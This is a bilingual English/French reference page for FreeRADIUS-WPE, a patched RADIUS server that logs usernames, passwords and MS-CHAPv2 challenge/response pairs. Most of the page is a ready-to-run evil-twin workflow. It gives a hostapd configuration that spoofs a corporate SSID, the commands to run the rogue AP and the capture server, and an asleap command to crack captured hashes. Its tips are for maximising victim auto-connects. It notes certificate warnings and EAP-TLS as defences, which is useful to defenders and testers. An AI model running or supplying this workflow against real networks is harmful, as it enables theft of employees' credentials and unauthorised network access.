FreeRADIUS-WPE
Serveur FreeRADIUS patché (Wireless Pwnage Edition) qui journalise les identifiants en clair et les paires challenge/response provenant de clients s'authentifiant contre un faux AP WPA/WPA2-Enterprise. Patched FreeRADIUS server (Wireless Pwnage Edition) that logs cleartext credentials and challenge/response pairs from clients authenticating against a rogue WPA/WPA2-Enterprise AP.
↗ https://github.com/OpenSecurityResearch/freeradius-wpeOverview
FreeRADIUS-WPE is a set of patches applied to FreeRADIUS that make it log usernames, passwords, and MS-CHAPv2 challenge/response pairs for every EAP authentication attempt it handles — instead of just accepting or rejecting them. Paired with a rogue access point (via hostapd) impersonating a known WPA/WPA2-Enterprise SSID, it lets an attacker capture corporate credentials from clients that auto-connect and attempt EAP authentication.
Common Usage
Build/install (typically already patched into freeradius source tree)
./configure && make && sudo make install
Run the patched radiusd in the foreground with debug output
sudo radiusd -X
Logged creds land here by default
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
Rogue AP Workflow
- Configure hostapd to advertise the target SSID with WPA-EAP
cat > hostapd.conf <<EOF
interface=wlan0
ssid=CorpWiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF
- Start the rogue AP
sudo hostapd hostapd.conf
- Start FreeRADIUS-WPE to capture creds from connecting clients
sudo radiusd -X
- Crack captured MS-CHAPv2 challenge/response with asleap or hashcat
asleap -C <challenge> -R <response>
Tips
- Certificate warnings on the client (untrusted rogue RADIUS cert) are the main defense — this attack relies on users clicking through them
- EAP-GTC/EAP-MSCHAPv2 (PEAP) exposures are the most common outcome; EAP-TLS with proper cert pinning is not vulnerable
- Combine with
airbase-ngoreaphammerfor a more automated evil-twin setup - Always match SSID and security settings exactly to the legitimate network to maximize auto-connect rate
Help / Man page
radiusd [options]
-X Run in debug mode (foreground, full logging)
-x Debug mode (less verbose)
-f Run in foreground (no daemonize)
-d <dir> Set configuration directory
-i <addr> Listen on specific IP
-p <port> Listen on specific port (default 1812)
WPE-specific logging:
Log file: ${logdir}/freeradius-server-wpe.log
Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
EAP-MD5 challenge/response, PAP cleartext password
Vue d’ensemble
FreeRADIUS-WPE est un ensemble de patches appliqués à FreeRADIUS qui le font journaliser les noms d’utilisateur, mots de passe et paires challenge/response MS-CHAPv2 pour chaque tentative d’authentification EAP qu’il traite, au lieu de simplement les accepter ou les rejeter. Associé à un rogue access point (via hostapd) usurpant un SSID WPA/WPA2-Enterprise connu, il permet à un attaquant de capturer des identifiants d’entreprise depuis les clients qui se connectent automatiquement et tentent une authentification EAP.
Utilisation courante
# Compiler/installer (généralement déjà patché dans l'arborescence source freeradius)
./configure && make && sudo make install
# Lancer le radiusd patché au premier plan avec sortie de debug
sudo radiusd -X
# Les identifiants journalisés atterrissent ici par défaut
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
Workflow avec rogue AP
- Configurer hostapd pour annoncer le SSID cible avec WPA-EAP
cat > hostapd.conf <<EOF
interface=wlan0
ssid=CorpWiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF
- Démarrer le rogue AP
sudo hostapd hostapd.conf
- Démarrer FreeRADIUS-WPE pour capturer les identifiants des clients qui se connectent
sudo radiusd -X
- Casser le challenge/response MS-CHAPv2 capturé avec asleap ou hashcat
asleap -C <challenge> -R <response>
Conseils
- Les avertissements de certificat côté client (certificat RADIUS rogue non fiable) constituent la principale défense : cette attaque repose sur le fait que les utilisateurs cliquent malgré ces avertissements
- Les expositions EAP-GTC/EAP-MSCHAPv2 (PEAP) sont le résultat le plus courant ; EAP-TLS avec un pinning de certificat correct n’est pas vulnérable
- Combiner avec
airbase-ngoueaphammerpour une configuration evil-twin plus automatisée - Toujours faire correspondre exactement le SSID et les paramètres de sécurité au réseau légitime pour maximiser le taux de connexion automatique
Aide / Page de manuel
radiusd [options]
-X Run in debug mode (foreground, full logging)
-x Debug mode (less verbose)
-f Run in foreground (no daemonize)
-d <dir> Set configuration directory
-i <addr> Listen on specific IP
-p <port> Listen on specific port (default 1812)
WPE-specific logging:
Log file: ${logdir}/freeradius-server-wpe.log
Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
EAP-MD5 challenge/response, PAP cleartext password